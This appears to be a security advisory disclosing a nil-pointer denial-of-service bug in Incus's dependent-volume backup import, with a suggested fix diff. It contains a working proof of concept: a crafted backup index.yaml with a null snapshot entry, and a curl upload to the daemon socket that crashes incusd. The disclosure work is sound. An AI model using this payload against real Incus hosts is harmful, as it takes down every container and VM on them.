+ "details": "## Summary\n\n`(*backend).createDependentVolumesFromBackup` in [`internal/server/storage/backend.go`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/storage/backend.go) contains a cluster of unguarded pointer derefs on every dependent-volume entry's `VolumeSnapshots[i]`, `Volume`, and `Pool` sub-fields. An authenticated user with `can_create_instances` permission on any project can crash the `incusd` daemon by uploading an instance backup tarball whose `dependent_volumes[*]` block contains a nil snapshot pointer (or omits `volume:` / `pool:`).\n\nThis is a sibling-field variant of the 2026-05-04 batch fix `d768f81c0a1d985f35ae56219519822b080bf5e3` (\"Properly check dependent volumes on import\"). That commit added `if disk == nil` at the top of the outer loop, but did not guard the four sub-pointer fields the loop body dereferences naked.\n\n## Vulnerable code\n\n[`internal/server/storage/backend.go:9352-9412`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/storage/backend.go#L9352-L9412):\n\n```go\nfunc (b *backend) createDependentVolumesFromBackup(srcBackup backup.Info, ...) error {\n ...\n for _, disk := range srcBackup.Config.DependentVolumes {\n if disk == nil { // ← d768f81 parent fix\n return errors.New(\"Bad dependent volume definition found in index\")\n }\n ...\n snapshots := []string{}\n for _, snap := range disk.VolumeSnapshots {\n snapshots = append(snapshots, snap.Name) // ← I-2 trigger: snap may be nil\n }\n\n bInfo := backup.Info{\n Project: disk.Volume.Project, // ← disk.Volume may be nil\n Name: disk.Volume.Name,\n Backend: disk.Pool.Driver, // ← disk.Pool may be nil\n Pool: disk.Pool.Name,\n ...\n }\n ...\n devKey := fmt.Sprintf(\"%s/%s\", disk.Pool.Name, disk.Volume.Name)\n ...\n }\n}\n```\n\n`disk` has type `*config.Config` (declared in [`internal/server/backup/config/backup_config.go:8`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/backup/config/backup_config.go#L8)). Its `Volume` field is `*api.StorageVolume`, `Pool` is `*api.StoragePool`, `VolumeSnapshots` is `[]*api.StorageVolumeSnapshot` — all yaml `omitempty`. YAML omission decodes to nil for each.\n\nThe parent fix mental-modeled \"outer-iteration variable nil\"; it did not walk every sub-field deref inside the loop body. Direct asymmetric-guard variant.\n\n## Reach\n\n1. Attacker is an authenticated client with `can_create_instances` on any project. Same auth gate as GHSA-8g7m-96c8-8wwc / CVE-2026-47753.\n2. `POST /1.0/instances` with `Content-Type: application/octet-stream` and `X-Incus-name: <name>`.\n3. Body is a tar containing [`backup/index.yaml`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backup/index.yaml) whose `config:` block has a non-nil `container:` (passes `instances_post.go:854 if bInfo.Config == nil || bInfo.Config.Container == nil`) and a `dependent_volumes:` list with a malformed entry.\n4. Chain: `instancesPost` -> `createFromBackup:854` (Container guard passes) -> `pool.CreateInstanceFromBackup` -> `backend.go:782 b.createDependentVolumesFromBackup` -> `backend.go:9374 snap.Name` panics on the nil `*api.StorageVolumeSnapshot` element.\n5. `incusd` dies. Persistent DoS on repeat.\n\nMinimal [`backup/index.yaml`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backup/index.yaml) (used in the bundled PoC):\n\n```yaml\nname: poc-inst\nbackend: dir\npool: default\ntype: container\noptimized: false\noptimized_header: false\nsnapshots: []\nconfig:\n container:\n name: poc-inst\n architecture: x86_64\n type: container\n profiles: [\"default\"]\n config: {}\n devices: {}\n expanded_devices:\n depdisk: {type: disk, dependent: \"true\", pool: default, source: depvol, path: /data}\n expanded_config: {}\n dependent_volumes:\n - volume: {name: depvol, type: custom, content_type: filesystem, config: {}}\n pool: {name: default, driver: dir, config: {}}\n volume_snapshots:\n - ~ # explicit null entry → snap.Name at 9374 panics\n```\n\n(The container block must declare at least one device with `type: disk`, `dependent: \"true\"`, `pool != \"\"`, `path != \"/\"` to populate `devicesMap` and reach the second loop. Trivially satisfiable.)\n\nAn equivalent triggering YAML omits `volume:` or `pool:` from the dependent_volumes entry; in that case `disk.Volume.Project` at 9378 panics instead.\n\n## Proof of concept (end-to-end against running daemon)\n\nBundled in the report: `make_backup.sh` + 666-byte `poc-inst.tar.gz`.\n\nTested against `incus 7.0.0` (zabbly latest GA, build `1:0~ubuntu24.04~202605201355`) inside a privileged Ubuntu 24.04 container with default `dir` pool.\n\n```bash\n$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \\\n --data-binary @/tmp/poc-inst.tar.gz \\\n -H 'Content-Type: application/octet-stream' \\\n -H 'X-Incus-name: poc-inst' \\\n http://incus/1.0/instances\n{\"type\":\"async\",\"status\":\"Operation created\",\"status_code\":100,...}\n\n$ ps -ef | grep incusd | grep -v grep # process gone\n```\n\nDaemon panic:\n\n```\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x163b7bc]\n\ngoroutine 257 [running]:\ngithub.com/lxc/incus/v7/internal/server/storage.(*backend).createDependentVolumesFromBackup(...)\n /build/incus/internal/server/storage/backend.go:9374 +0x42c\ngithub.com/lxc/incus/v7/internal/server/storage.(*backend).CreateInstanceFromBackup(...)\n /build/incus/internal/server/storage/backend.go:782 +0x660\nmain.createFromBackup.func8(...)\n /build/incus/cmd/incusd/instances_post.go:989 +0x2ac\ngithub.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...)\n /build/incus/internal/server/operations/operations.go:307 +0x2c\n```\n\nStack frame [`backend.go:9374`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backend.go#L9374) is the literal `snap.Name` line.\n\n## Impact\n\n- **Severity:** denial of service against the entire `incusd` process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.\n- **Privileges required:** any authenticated user with `can_create_instances` on any project. Not behind the admin tier.\n- **Network attack surface:** the Incus REST API on `:8443` or the unix socket.\n- **CWE-476** — Nil-Pointer Dereference. **CVSS estimate:** 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).\n- **Versions:** v7.0.0 confirmed. The `dependent_volumes` feature did not exist in v6.x, so the vulnerable code is v7-only.\n\n## Suggested fix\n\n```diff\n--- a/internal/server/storage/backend.go\n+++ b/internal/server/storage/backend.go\n@@ -9362,6 +9362,18 @@ func (b *backend) createDependentVolumesFromBackup(...) error {\n for _, disk := range srcBackup.Config.DependentVolumes {\n if disk == nil {\n return errors.New(\"Bad dependent volume definition found in index\")\n }\n+\n+ if disk.Volume == nil || disk.Pool == nil {\n+ return errors.New(\"Bad dependent volume definition: missing volume or pool\")\n+ }\n+\n+ for _, snap := range disk.VolumeSnapshots {\n+ if snap == nil {\n+ return errors.New(\"Bad dependent volume snapshot definition\")\n+ }\n+ }\n+\n optimizedStorage := srcBackup.OptimizedStorage\n optimizedHeader := srcBackup.OptimizedHeader\n\n snapshots := []string{}\n for _, snap := range disk.VolumeSnapshots {\n snapshots = append(snapshots, snap.Name)\n }\n```\n\n## Reporter notes\n\nReported via Privately-Reported Vulnerability against `lxc/incus` by tonghuaroot.",
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